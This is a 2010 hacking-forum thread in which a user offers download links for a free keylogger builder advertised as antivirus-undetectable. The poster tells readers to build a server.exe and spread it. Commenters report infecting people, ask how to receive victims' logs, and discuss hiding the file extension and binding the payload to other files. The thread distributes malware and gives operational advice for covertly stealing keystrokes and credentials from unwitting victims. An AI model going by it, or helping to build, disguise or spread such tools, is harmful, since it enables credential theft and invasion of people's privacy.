Code <http://sharecash.org/download.php?file=512673>(remove the space between share & cash)

if u cant download from share cash or dont want to then use :

Code <http://www.multiupload.com/XRHO0M9I2K>(i have added site on the builder to earn money , it wont bother u.)

Davidiscul - March 17, 2010, 9:13 am

How does it really work?

rawi16 - March 17, 2010, 9:14 am

run the skullogger.exe , and then put ur info , and press build , and ur will get ur server.exe , then spread it !

Dresta - March 17, 2010, 10:58 am

I Would like it, sadly i cant download by share cash :/

mushroozard - March 17, 2010, 11:12 am

the link only leads me to sharecash site and not to the download :(

Please send me another link for the logger :P

It looks imba especially that is FUD :)

ssihiss - March 17, 2010, 11:15 am

is it clean bro

x@shooort

cralle - March 17, 2010, 11:23 am

omg stop upload at sharecash, the surverys does not even work.... and thats a freaking scam too gotta put your mbile number there lol. no way.

rawi16 - March 17, 2010, 11:57 am

Added normal links , but ill really appreciate it if u guys download from share cash to help me !

Lulzer - March 17, 2010, 11:59 am

It looks pretty basic, does it have any extra features?

--

Still nice though, cant complain about someone offering a free keylog program

i have posted the features , and if i saw that people like it , ill add some stealers from my advanced keylogger :)

ssihiss - March 17, 2010, 12:01 pm

is the file clean any one test it i downloaded the file without opening is it clean

rawi16 - March 17, 2010, 12:04 pm

it is clean , dont worry , it is not my first keylogger release for free. and feel free to use or not.

rawi16 - March 17, 2010, 12:10 pm

yes it should

(btw msg aint short.)

ssihiss - March 17, 2010, 12:17 pm

i download the file 2 times using vpn "relakks" "its hidden" to help you to make mony i wich it's not backdoored man becaus i have no thing

thanks , and ofcourse it isnt backdoored , its not my first release for keylogger , dont worry.

.Kriminal - March 17, 2010, 12:52 pm

Do I send the file to whoever I want to get their logs?

rawi16 - March 17, 2010, 12:56 pm

u send the file that u built , and u will get the logs every x time , and u choose how long u want to recieve the logs.

AI_Gorithm - March 17, 2010, 2:32 pm

can any body tell me if this wirks on windows 7 please

rawi16 - March 17, 2010, 2:34 pm

@AI_Gorithm - yes it works , there is no reason to make it not work !

@meenaltoll - wt are u talking about ? fix ur english.

Th? Truth - March 17, 2010, 3:05 pm

Thanks alot. Some of the other "FUDs" aren't undetectable for me, but this one is.

llamafbi - March 17, 2010, 5:11 pm

Thanks i needed one :)

gaylechris - March 17, 2010, 5:27 pm

working in windows 7????

JUAN9087™ - March 17, 2010, 6:55 pm

Alright i would say nice keylogger - but GUI socking but still's ok for keylogger working.. + FUD so its nice :) gj

Intern0 - March 17, 2010, 10:44 pm

Thanks a bunch man!! If this is basic, i can't wait for your advanced keylogger!!! ^^ Btw, what is the Stub.exe for? Also, with the advanced keylogger that you make, you should try to hide the extension. (.exe) If you can on this one already please tell me how

le0pard - March 18, 2010, 3:11 am

Test gmail fails, im sure of the user & pass...

anyways thanks for sharing

Imao this sounds stupid but i opned the file :S how can i get the keylogger like to stop keylogging my comp?

rawi16 - March 18, 2010, 10:09 am

if u chose the startup option then delete it from registry ,
if u didnt , just restart ur pc ;)

rawi16 - March 18, 2010, 12:52 pm

gonna release new version this couble days after it becomes detect , and the next version will be far good , more feedback is always welcomed ! , and thanks word is much better ;)

MarV™ - March 18, 2010, 3:56 pm

awesome keylogger dude , is it undetectable by antivirusses ?

chaz - March 18, 2010, 5:57 pm

NVM.

Nice logger :], using it now

hacc - March 18, 2010, 6:13 pm

does it send confirmation of a infection? and how long does it take to infect. im pretty sure i just infected like 3 people, but i havent gotten any logs yet. also what does antis do? sorry for a noob question this is my first keylogger.

(Mar 18, 2010 03:56 PM)MarV-k Wrote: [\[CITE\]](#) awesome keylogger dude , is it undetectable by antivirusses ?

completely. i just scanned it. 100% undetectable.

Very nice share, +1 if i could =].

qwee - March 20, 2010, 5:41 am

It's running fine @ Localhost, but I'm not getting any logs from other computers for some reason?

I've got ~30 downloads, some of them must have started it? :o

I've used a binder with it, Azure binder...

Any ideas?
